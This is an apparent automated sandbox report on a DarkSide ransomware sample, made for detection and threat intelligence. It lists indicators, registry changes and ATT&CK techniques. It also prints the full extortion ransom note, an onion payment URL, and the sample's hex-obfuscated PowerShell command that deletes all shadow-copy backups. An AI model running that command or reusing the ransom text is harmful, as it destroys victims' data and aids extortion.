darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
110s
max time network
109s
platform
windows7_x64
resource
win7v20210410
submitted
12-05-2021 19:34

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General

Target

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Size

59KB
MD5

e44450150e8683a0addd5c686cd4d202
SHA1

8c482a0eed33c8a4542c3cb2715a242f2259343d
SHA256

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5
SHA512

7d65d22ad630fd77c50e277a44fdcc46fa86235c93524f9751ac9ddf0ce19261707fab631108fc908a71029900dbf6ada119d607edfadc3ce309f86a9c3765fe

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.341d6443.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. We downloaded a lot of interesting data from your network. If you need proofs, we are ready to give it. The data is preloaded and will be automatically published if you don’t pay. Your data will be available after automatic publication for free downloading at least 6 months at our tor cdn servers. If within 3 days you don't contact with us, we will send press-releases about this accident to major media outlets, after another 3 days after sending press-releases we will start to upload your private data. Here is the list of information that we copied from your network: Passports and visas from: DOCUMENTS-RED SEA PROJECT DOCUMENTS-VISIT VISA EMPLOYEES IQAMA & PASSPORTS FOR SWAB TEST SCAN DOCUMENTS Contracts and passports as well as test results for SARS-COV19 from: CONTRACT COVID 19 Status Report Passport and photo Accounting & Financing We also copied information from the following departments: RAKFIN RAKHSE RSPDC RSPFIN RSPQLTP RSPSTO RSPTEC SAJSPFIN RSPQLT RAKEENG We paid a lot of attention to the personal data of employees as well as the drawings of your projects You must understand that if information about your developments gets publicly available: 1) your clients data can be used by criminals 2) your clients will fill lawsuit against you 3) government regulators will fine you for data breach, if you have in clients at least one EU resident then you will be also fined by EU government by GDPR law with millions of dollars of fine or permit ban for working with EU citizents. US has the similar laws, but they are not so costly, however the total cost will exceed the asked amount from you, so our offer is the best deal for you to resolve this issue. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3 When you open our website, put the following data in the input form: Key: zm7QxFcBLUS2PdXT2XI4gIg6FuXOMT67rYgWK4ZdNE3jt6R6skLNBCiW7ryVA7ej438jGLsBzZ1mog9YLjglfFG3Ezw57Ks0jJQZMO2AokEchnlupHVbK7ZTlk4kDSMP79vNfLUDI8ppzxNTOtcWQLTtzxCI7zb6ufHXbQe5xQUJvwTJbRVmcNib462NddZoyQ0zjKh8GsEPEfQBCkTtiYR8aVMlr0GBQKzQvDmmBks9y0IupRiKMbGf607vVNegtZXEUFXOfhQfnUwOYUAkX4t83P4eQKbPaFTYpasoEC7Xm0XU1SaX3KAagaqDaIH69YQYZOJZaTrc5NtsPPRH7R1HlOMZP2bC3GMsbLaK91saXy9FcDZpn9AFkVVQHlV9xov5GzZ5GMtxb9QUcpth5a12WpVKpi5wdKNc3H3Q4jNqQjkxUJcM35X9Dkie8LKOYvC039zvnTcClzqhNza6mXhgcd7rGSWQZ6EoJ9yn6LOEf8bwjIoHrGqoYQwS6F7ZWeLd5VtbUGE7iObjGj6vdFjqhKLOxeuNhGx4ZyZ5ZR6e5K7uvLZWmYq !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/3NQA47J490NLKJVB1FI43HHCEJO62CE3E440J4H4K564VRQ8AFONVJQOM8158NR3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\OptimizeUninstall.crw => C:\Users\Admin\Pictures\OptimizeUninstall.crw.341d6443	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeUninstall.crw.341d6443	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\341d6443.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\341d6443.BMP"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

pid process

1096 691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\Desktop\WallpaperStyle = "10"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Modifies registry class 5 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.341d6443\ = "341d6443"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\341d6443\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\341d6443.ico"	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exe

pid	process
1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
1012	powershell.exe
1012	powershell.exe
1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSecurityPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeTakeOwnershipPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeLoadDriverPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemProfilePrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemtimePrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeProfSingleProcessPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeIncBasePriorityPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeCreatePagefilePrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeBackupPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRestorePrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeShutdownPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeSystemEnvironmentPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeRemoteShutdownPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeUndockPrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeManageVolumePrivilege	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 33	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 34	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: 35	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeBackupPrivilege	1760	vssvc.exe
Token: SeRestorePrivilege	1760	vssvc.exe
Token: SeAuditPrivilege	1760	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe

description	pid	process	target process
PID 1096 wrote to memory of 1012	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe
PID 1096 wrote to memory of 1012	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe
PID 1096 wrote to memory of 1012	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe
PID 1096 wrote to memory of 1012	1096	691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
"C:\Users\Admin\AppData\Local\Temp\691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1096

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1012

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
5bd2e29a2d14aaddd9d9d103eb145fb5

SHA1
52ba8bcb5be9b5527900d74f6e3acc0ed1ad5f50

SHA256
00df951a92f5594274b6f91e00a23deca343cb20aa67e63b3b71e5628ebfc6c8

SHA512
64e7f6f5da8a6f0d704a81534d6882556df515d1d86a30ef61edbdaedc2a67a45d19011d57b43b7c3dafc56d073a500c62007b2ecbdb109c3ab3ec151c9f96a4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
afff09475943dc7c705d596923642fd2

SHA1
962cdef69ac28242732cc3f542cfddecb04f6ea9

SHA256
4f6365198885b1c5ca6c7be27a2d1a7151912ffbaa6c9c3ef2b1fd09e7dddab1

SHA512
96568da5eaab132003bc8b325ce75838b0020a9702b8ea0442edfc04eac35704d8033ecab448ab2df82b9dc2d585ccc603727b1645680aedf69239d094bfb4e4

Download Submit
memory/1012-66-0x0000000002560000-0x0000000002561000-memory.dmp

Filesize
4KB

Download
memory/1012-63-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1012-64-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/1012-65-0x0000000002530000-0x0000000002531000-memory.dmp

Filesize
4KB

Download
memory/1012-67-0x000000001AA30000-0x000000001AA32000-memory.dmp

Filesize
8KB

Download
memory/1012-68-0x000000001AA34000-0x000000001AA36000-memory.dmp

Filesize
8KB

Download
memory/1012-69-0x000000001C4C0000-0x000000001C4C1000-memory.dmp

Filesize
4KB

Download
memory/1012-70-0x000000001B530000-0x000000001B531000-memory.dmp

Filesize
4KB

Download
memory/1012-62-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

Filesize
8KB

Download
memory/1012-61-0x0000000000000000-mapping.dmp

Download
memory/1096-60-0x00000000752F1000-0x00000000752F3000-memory.dmp

Filesize
8KB

Download